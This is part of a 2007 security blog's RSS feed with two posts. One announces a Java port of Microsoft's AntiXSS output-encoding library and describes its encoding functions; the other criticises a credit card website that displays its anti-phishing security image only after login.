			<content:encoded><![CDATA[<p>I’ve just uploaded the latest version of <a href="http://www.gdssecurity.com/l/t/AntiXSS-0.02.zip" onclick="javascript: pageTracker._trackPageview('/l/t/AntiXSS-0.02.zip');">AntiXSS for Java</a> (version 0.02) to the <a href="http://www.gdssecurity.com/l/t.php">GDS Tools page</a>. What is AntiXSS for Java? Its a port to Java of the <a href="http://msdn2.microsoft.com/en-us/security/aa973814.aspx">Microsoft Anti-Cross Site Scripting (AntiXSS) v1.5 library for .NET applications</a>.</p>
<p>For those not familiar with the Microsoft AntiXSS library, it is an output encoding library for avoiding Cross Site Scripting vulnerabilities. Specifically it is intended to safely encode information written to the user’s browser within a specific context (i.e. if writing a string into the HTML of a page, you need to use the correct function - HtmlEncode). Unlike some other solutions the library implements a white listing approach, and encodes everything except characters known to be harmless. For example, the string <code>&lt;script&gt;</code> will be HTML encoded as <code>&amp;#60;script&amp;#62;</code>.</p>
<p>AntiXSS for Java was largely written as an educational exercise on my part, and as such the library should be considered “beta quality”, however it should be fairly usable for most applications. The library requires Java 1.4 or higher, but has no other prerequisites.</p>
<p>Usage:</p>
<ul>
<li>AntiXSS for Java comes as a <a href="http://www.gdssecurity.com/l/t/AntiXSS-0.02.zip" onclick="javascript: pageTracker._trackPageview('/l/t/AntiXSS-0.02.zip');">source package</a>, or alternatively you can just download the compiled <a href="http://www.gdssecurity.com/l/t/AntiXSS.jar.gz" onclick="javascript: pageTracker._trackPageview('/l/t/AntiXSS.jar.gz');">Jar file</a>. An Ant buildfile and JUnit tests are included with the source code. </li>
<li>Put AntiXSS.jar somewhere in your CLASSPATH</li>
<li>In your code, import <code>com.gdssecurity.utils.AntiXSS</code></li>
<li>All of the output filtering methods are implemented statically, so just wrap your calls to output functions in a call to one of the filtering methods (identical to the methods in the Microsoft library):
<ol>
<li><strong>HtmlEncode()</strong> - a string to be used in HTML. This method will return characters a-z, A-Z, 0-9, full stop, comma, dash and underscore unencoded, and encode all other characters in decimal HTML entity format (i.e. &lt; is encoded as &amp;#60;). </li>
<li><strong>UrlEncode()</strong> - a string to be used in a URL. This method will return characters a-z, A-Z, 0-9, full stop, dash, and underscore unencoded, and encode all other characters in short hexadecimal URL notation for non-unicode characters (i.e. &lt; is encoded as %3c), and as unicode hexadecimal notation for unicode characters (i.e. %u0177).</li>
<li><strong>HtmlAttributeEncode()</strong> - a string to be used in an HTML attribute. This method will return characters a-z, A-Z, 0-9, full stop, comma, dash and underscore unencoded, and encode all other characters in decimal HTML entity format (i.e. &lt; is encoded as &amp;#60;).</li>
<li><strong>JavaScriptEncode()</strong> - a string safe to use directly in JavaScript. This method will return characters a-z, A-Z, space, 0-9, full stop, comma, dash, and underscore unencoded, and encode all other characters in a 2 digit hexadecimal escaped format for non-unicode characters (e.g. \x17), and in a 4 digit unicode format for unicode characters (e.g. \u0177).</li>
<li><strong>VisualBasicScriptEncodeString()</strong> - a string to use directly in VBScript. This method will return characters a-z, A-Z, space, 0-9, full stop, comma, dash, and underscore unencoded (each substring enclosed in double quotes), and encode all other characters in concatenated calls to chrw(). e.g. foo&#8217; will be encoded as &#8220;foo&#8221;&#038;chrw(39).</li>
<li><strong>XmlEncode()</strong> - a string to be used in XML. This method will return characters a-z, A-Z, 0-9, full stop, comma, dash and underscore unencoded, and encode all other characters in decimal entity format (i.e. &lt; is encoded as &amp;#60;).</li>
<li><strong>XmlAttributeEncode()</strong> - a string to be used in an XML attribute. This method will return characters a-z, A-Z, 0-9, full stop, comma, dash and underscore unencoded, and encode all other character in decimal entity format (i.e. &lt; is encoded as &amp;#60;).</li>
</ol>
</li>
</ul>
<p>For those of you familiar with output encoding, this library is functionally the same as the <a href="http://www.owasp.org/index.php/Category:OWASP_Encoding_Project">OWASP Reform library</a> by Michael Eddington, which is not too surprising as I believe Michael was involved in developing the Microsoft AntiXSS library.</p>
<p>Any feedback, and especially bug reports, welcome.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.gdssecurity.com/l/b/2007/12/29/antixss-for-java/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Yet Another Flawed Authentication Scheme</title>
		<link>http://www.gdssecurity.com/l/b/2007/12/27/yet-another-flawed-authentication-scheme/</link>
		<comments>http://www.gdssecurity.com/l/b/2007/12/27/yet-another-flawed-authentication-scheme/#comments</comments>
		<pubDate>Thu, 27 Dec 2007 22:58:44 +0000</pubDate>
		<dc:creator>Brian Holyfield</dc:creator>
		
		<category><![CDATA[Application Security]]></category>

		<guid isPermaLink="false">http://www.gdssecurity.com/l/b/2007/12/27/yet-another-flawed-authentication-scheme/</guid>
		<description><![CDATA[It seems like every day I hear about a new web-based authentication technique intended to enhance user security and/or thwart phishing scams.  This is especially common in the banking world, where most applications are starting to use strong two-factor authentication. Unfortunately for most of the larger consumer web applications, implementing strong multi-factor authentication (i.e. [...]]]></description>
			<content:encoded><![CDATA[<p>It seems like every day I hear about a new web-based authentication technique intended to enhance user security and/or thwart phishing scams.  This is especially common in the banking world, where most applications are starting to use strong two-factor authentication. Unfortunately for most of the larger consumer web applications, implementing strong multi-factor authentication (i.e. Smart-cards or SecureID) is just not cost effective or practical when you have several million users.  As a result, these applications must resort to other creative ways to strengthen their authentication.</p>
<p>One increasingly popular practice is the use of security images (known as &#8220;watermarks&#8221;) to thwart phishing scams.  For those not familiar with this concept (generically known as site-to-user authentication), it’s supposed to like this:</p>
<p>During registration, the user selects (or is assigned) a specific image.  The image is one of potentially hundreds of possible images and is intended to help user distinguish the real web-site from an impostor.  The actual act of authenticating to the website is split into the following three steps:</p>
<ul>
<li>Step 1:  The user  submits their username (only) to the website</li>
</ul>
<ul>
<li>Step 2:  The website shows the user their personal &#8220;watermark&#8221; image, allowing them to verify that they are at the correct site.</li>
</ul>
<ul>
<li>Step 3:  If the watermark image is correct, the user should enter his/her password to complete the login process.  If the watermark image is not correct (or not shown), the user should not proceed as they are likely not at the correct website.</li>
</ul>
<p>The general concept is pretty simple, and was pioneered by PassMark (<a href="http://www.rsa.com/press_release.aspx?id=6769">acquired by RSA/EMC</a>) several years ago.  The concept (and PassMark) has been the subject of much scrutiny by both the FFIEC and security researchers in recent years, who have even published <a href="http://cr-labs.com/publications/SiteKey-20060718.pdf">papers</a> outlining various ways in which this scheme can be abused and subverted.  What I find most interesting is that, in addition to all of the potential technical flaws that have been identified with Passmark (and similar concepts), it seems to suffer from an even more critical and fundamental flaw – that most users just don&#8217;t understand it.</p>
<p>A <a href="http://www.usablesecurity.org/emperor/emperor.pdf">study published earlier this year</a> found that 97% of people who use an image oriented site-to-user authentication scheme (as described above) still provided their password to an imposter website even though the correct security image was not shown.  Even worse, it seems that some of the companies who implement this authentication scheme don’t completely understand it.  Consider the following real-life example:</p>
<p>Like many folks this holiday season, I found myself at a department store checkout counter faced with the question that every retail clerk is programmed to ask (“Would you like to save an additional 15% today by opening up a new credit card?&#8221;).   Normally I decline this offer while the clerk is in mid-sentence; however, on this day I proceeded to open an account.</p>
<p>A few days later, I went online to pay my bill and quickly noticed the site touting its *high security* (this seems to be the marketing norm these days).  During the registration process, the site forced me to pick a &#8220;Security Image&#8221; that is used to protect me from phishing scams (ala PassMark).  Knowing how this process is supposed to work, you can imagine my surprise when my subsequent login to the website looked like this:</p>
<p> </p>
<p><em>Screen 1:  Login Screen (requesting user-name and password)</em><br />
<img src="http://www.gdssecurity.com/l/b/wp-content/uploads/screen1.jpg" alt="Login Page" /></p>
<p> </p>
<p><em>Screen 2:  After authentication (displays my security image)</em><br />
<img src="http://www.gdssecurity.com/l/b/wp-content/uploads/screen2.jpg" alt="After Login" /></p>
<p> </p>
<p>What’s wrong with these pictures?  Unfortunately they don’t show me my security image until <strong>after</strong> I have completely authenticated to the website (instead of before I provided my password)!  Clearly there seems to be a lack of understanding and/or education somewhere on the other side.</p>
<p>A quick survey of some non-technical friends and relatives during the holidays also served to further confirm my suspicions.  While all of them use at least one banking/bill-pay website that incorporates the use of a security image (&#8221;Oh yea, I have a special picture that they show me every time I log in&#8221;), not one of them could explain what the image was for or even whether it gets shown to them before or after they provide their password.</p>
<p>The takeaway here is that (not surprisingly) end-user awareness still, and likely always will be, a fundamental component to the success of any good security measure.  There is little point in implementing a new security mechanism (especially one that depends on the user understanding it) unless the appropriate steps have been taken to ensure that everyone has been properly educated.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.gdssecurity.com/l/b/2007/12/27/yet-another-flawed-authentication-scheme/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
